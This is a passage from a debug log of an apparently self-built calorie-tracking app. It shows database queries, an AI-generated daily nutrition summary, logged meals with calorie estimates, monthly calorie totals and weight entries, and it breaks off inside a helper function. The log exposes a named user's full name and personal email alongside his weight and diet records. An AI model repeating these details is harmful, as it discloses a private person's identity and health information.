      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T14:56:40.732Z server-connect:output restrict: undefined
2025-12-16T14:56:40.732Z server-connect:app Executing action step single
2025-12-16T14:56:40.732Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T14:56:40.733Z server-connect:output restrict: undefined
2025-12-16T14:56:40.733Z server-connect:app Executing action step single
2025-12-16T14:56:40.733Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T14:56:40.737Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T14:56:40.739Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's nutrition shows a moderate intake with a focus on carbohydrates. Protein intake appears to be on the lower side, which might not optimally support muscle development goals. Meal timing seems spread out, but recovery support could be enhanced with more protein-rich options.",
    bad_points: [
      'Protein sources are limited, potentially hindering muscle repair and growth.',
      'The overall meal composition leans heavily on carbohydrates.',
      'Sugar content from milk coffee and ketchup is present.'
    ],
    good_points: [
      'Inclusion of fruits like papaya provides vitamins and fiber.',
      'Consumption of whole wheat roti adds complex carbohydrates.',
      'Hydration is supported by green tea intake.'
    ],
    suggestions: [
      'Incorporate a significant protein source with at least one meal.',
      'Consider adding lean protein with snacks to improve protein distribution throughout the day.',
      'Ensure adequate hydration beyond just green tea.',
      'Opt for lower-sugar beverage choices where possible.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'slight downward trend'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T14:56:40.740Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T14:56:40.741Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T14:56:40.742Z server-connect:app Executing action step select
2025-12-16T14:56:40.742Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T14:56:40.744Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  },
  {
    id: 412,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)',
    replacements: 'Berries (strawberries, blueberries - slightly fewer calories per serving, but papaya is already low),Watermelon (similar calorie profile, high water content)',
    created_at: '2025-12-16T08:21:35.000Z',
    skip_level: 1,
    skip_reason: "Papaya is a highly nutritious fruit, excellent for health and muscle development. It's rich in vitamins A and C, folate, fiber, and contains papain, an enzyme that aids digestion, which is beneficial for nutrient absorption after workouts."
  },
  {
    id: 413,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Dal Rice',
    calories: 320,
    protein_gm: 14,
    carbs_gm: 65,
    fat_gm: 1,
    quantity: '1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice)',
    replacements: 'Replace white rice with brown rice or quinoa for higher fiber and sustained energy release,Increase the proportion of dal to rice for higher protein content,Add more non-starchy vegetables to the meal to increase volume and nutrients without many calories',
    created_at: '2025-12-16T09:26:38.000Z',
    skip_level: 1,
    skip_reason: "This is a staple, balanced meal. Dal provides excellent plant-based protein and fiber, crucial for muscle repair and satiety. Rice offers complex carbohydrates, which are essential for fueling your early morning gym workouts and replenishing glycogen stores for muscle development. It's a good energy source."
  },
  {
    id: 414,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Mooli ka Saag',
    calories: 75,
    protein_gm: 2,
    carbs_gm: 5,
    fat_gm: 5,
    quantity: '1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee)',
    replacements: 'Cook with minimal oil or use a cooking spray to reduce fat content,Steam the mooli greens instead of stir-frying them',
    created_at: '2025-12-16T09:26:38.000Z',
    skip_level: 1,
    skip_reason: "Mooli ka Saag is highly beneficial. It's rich in vitamins (like Vitamin C, K), minerals, and dietary fiber, which aids digestion and overall health. It's very low in calories but nutrient-dense, making it excellent for supporting your fitness goals without adding excess energy."
  }
]
2025-12-16T14:56:40.744Z server-connect:app Executing action step setvalue
2025-12-16T14:56:40.744Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T14:56:40.744Z server-connect:output var_total: 1760
2025-12-16T14:56:40.744Z server-connect:app Executing action step setvalue
2025-12-16T14:56:40.744Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T14:56:40.744Z server-connect:output var_consumed: 73
2025-12-16T14:56:40.744Z server-connect:app Executing action step setvalue
2025-12-16T14:56:40.744Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T14:56:40.744Z server-connect:output var_deficit: 640
2025-12-16T14:56:40.744Z server-connect:app Executing action step custom
2025-12-16T14:56:40.744Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T14:56:40.746Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1760',
    surplus_or_deficit: '640',
    status_flag: 2
  }
]
2025-12-16T14:56:41.299Z server-connect:app Executing action step identify
2025-12-16T14:56:41.299Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:41.299Z server-connect:output identity: 1
2025-12-16T14:56:50.433Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T14:56:50.433Z server-connect:app Executing action step identify
2025-12-16T14:56:50.433Z server-connect:app options: { provider: 'security' }
2025-12-16T14:56:50.433Z server-connect:output identity: 1
2025-12-16T14:56:50.433Z server-connect:app Executing action step restrict
2025-12-16T14:56:50.433Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T14:56:50.435Z server-connect:output restrict: undefined
2025-12-16T14:56:50.435Z server-connect:app Executing action step select
2025-12-16T14:56:50.435Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T14:56:50.436Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)'
  },
  {
    id: 410,
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)'
  },
  {
    id: 411,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 412,
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)'
  },
  {
    id: 413,
    item_name: 'Dal Rice',
    calories: 320,
    protein_gm: 14,
    carbs_gm: 65,
    fat_gm: 1,
    quantity: '1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice)'
  },
  {
    id: 414,
    item_name: 'Mooli ka Saag',
    calories: 75,
    protein_gm: 2,
    carbs_gm: 5,
    fat_gm: 5,
    quantity: '1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee)'
  }
]
2025-12-16T14:56:50.436Z server-connect:app Executing action step paged
2025-12-16T14:56:50.436Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-16T14:56:50.438Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 12,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-16T14:56:50.438Z server-connect:app Executing action step run
2025-12-16T14:56:50.438Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
